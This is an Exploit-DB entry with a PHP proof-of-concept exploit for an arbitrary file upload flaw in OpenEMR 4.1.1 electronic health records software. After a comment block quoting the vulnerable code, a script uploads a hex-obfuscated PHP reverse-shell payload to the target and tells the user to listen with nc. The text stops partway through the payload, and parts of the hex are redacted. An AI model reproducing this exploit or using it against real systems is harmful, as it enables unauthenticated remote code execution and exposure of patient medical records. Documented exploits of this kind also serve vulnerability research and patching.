Exploit-DB #24492
Description: OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-02-13
Author: LiquidWorm

Exploit:
<?php

/*

OpenEMR 4.1.1 (ofc_upload_image.php) Arbitrary File Upload Vulnerability


Vendor: OpenEMR
Product web page: http://www.open-emr.org
Affected version: 4.1.1

Summary: OpenEMR is a Free and Open Source electronic health records and medical
practice management application that can run on Windows, Linux, Mac OS X, and many
other platforms.

Desc: The vulnerability is caused due to the improper verification of uploaded
files in '/library/openflashchart/php-ofc-library/ofc_upload_image.php' script
thru the 'name' parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script with multiple extensions.

================================================================================
/library/openflashchart/php-ofc-library/ofc_upload_image.php:
-------------------------------------------------------------

21: $default_path = '../tmp-upload-images/';
23: if (!file_exists($default_path)) mkdir($default_path, 0777, true);
26: $destination = $default_path . basename( $_GET[ 'name' ] );
28: echo 'Saving your image to: '. $destination;
39: $jfh = fopen($destination, 'w') or die("can't open file");
40: fwrite($jfh, $HTTP_RAW_POST_DATA);
41: fclose($jfh);
46: exit();

================================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Fedora Linux
           Apache2, PHP 5.4 MySQL 5.5


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5126
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php


09.02.2013

*/


error_reporting(0);
set_time_limit(0);

$go = "\033[0;92m"; $no = "\033[0;37m";
echo $no;

$host = $argv[1];

$sock = fsockopen($host, 80, $errno, $errstr, 30);

if(!$sock)
{
    echo "\n> $errstr ($errno)\n";
    die();
}

function r_shell($sc)
{
    for($z = 0; $z < strlen($sc); $z += 2)
    $exec .= chr(hexdec(substr($sc,$z,2)));
    return $exec;
}

print "\n+--------------------------------------------------------+";
print "\n+                                                        +";
print "\n+ OpenEMR 4.1.1 Remote Reverse Shell Exploit (pre-auth)  +";
print "\n+                                                        +";
print "\n+                   ID: ZSL-2013-5126                    +";
print "\n+                                                        +";
print "\n+          Copyleft (c) 2013, Zero Science Lab           +";
print "\n+                                                        +";
print "\n+--------------------------------------------------------+\n\n";

// PoC for Linux
// Before running this script, listen on 127.0.0.1: nc -vv -n -l -p 1234

if ($argc < 2)
{
    print "\n> Usage: php $argv[0] <target>\n\n";
    die();
}


$pl = r_shell("3c3f7068700d0a".              "7365745f74696d".              "655f6c696d6974".
              "202830293b0d0a".              "246970203d2027".              "3132372e302e30".
              "2e31273b0d0a24".              "706f7274203d20".              "313233343b0d0a".
              "246368756e6b5f".              "73697a65203d20".              "313430303b0d0a".
              "[PII_REDACTED]655f".              "61203d206e756c".              "6c3b[PII_REDACTED]".
              "6f725f61203d20".              "6e756c6c3b0d0a".              "247368656c6c20".
              "3d2027756e616d".              "65202d613b2077".              "3b2069643b202f".
                             "62696e2f736820".              "2d69273b0d0a24".
                             "6461656d6f6e20".              "3d20303b202464".
                             "[PII_REDACTED]3d20".              "303b0d0a696620".
                             "2866756e637469".              "6f6e5f65786973".
                             "[PII_REDACTED]636e".              "746c5f666f726b".
                             "272929207b0d0a".              "[PII_REDACTED]3d20".
                             "70636e746c5f66".              "6f726b28293b0d".
              "0a[PII_REDACTED]70".              "6964203d3d202d".              "3129207b0d0a70".
              "72696e74697428".              "224552524f523a".              "2043616e277420".
              "666f726b22293b".              "[PII_REDACTED]2831".              "293b7d0d0a6966".
              "[PII_REDACTED]6429".              "207b[PII_REDACTED]".              "30293b7d0d0a69".
              "662028706f7369".              "785f[PII_REDACTED]".              "642829203d3d20".
              "2d3129207b0d0a".              "7072696e746974".              "[PII_REDACTED]6f72".
              "3a2043616e2774".              "[PII_REDACTED]6964".              "282922293b2065".
                             "[PII_REDACTED]293b".              "7d0d0a24646165".
                             "6d6f6e203d2031".              "3b7d20656c7365".
                             "207b0d0a707269".              "6e[PII_REDACTED]57".
                             "41524e494e473a".              "204661696c6564".
                             "20746f20646165".              "6d6f6e6973652e".
                             "[PII_REDACTED]7320".              "[PII_REDACTED]6974".
                             "6520636f6d6d6f".              "6e20616e64206e".
              "6f[PII_REDACTED]61".              "6c2e22293b7d0d".              "0a[PII_REDACTED]28".
              "222f22293b2075".              "6d61736b283029".              "3b0d0a24736f63".
              "6b203d2066736f".              "636b6f70656e28".              "2469702c202470".
              "6f72742c202465".              "72726e6f2c2024".              "[PII_REDACTED]722c".
              "203330293b0d0a".              "[PII_REDACTED]2473".              "6f636b29207b0d".
              "0a7072696e7469".              "[PII_REDACTED]7272".              "[PII_REDACTED]2465".
              "72726e6f292229".              "3b[PII_REDACTED]28".              "31293b7d0d0a24".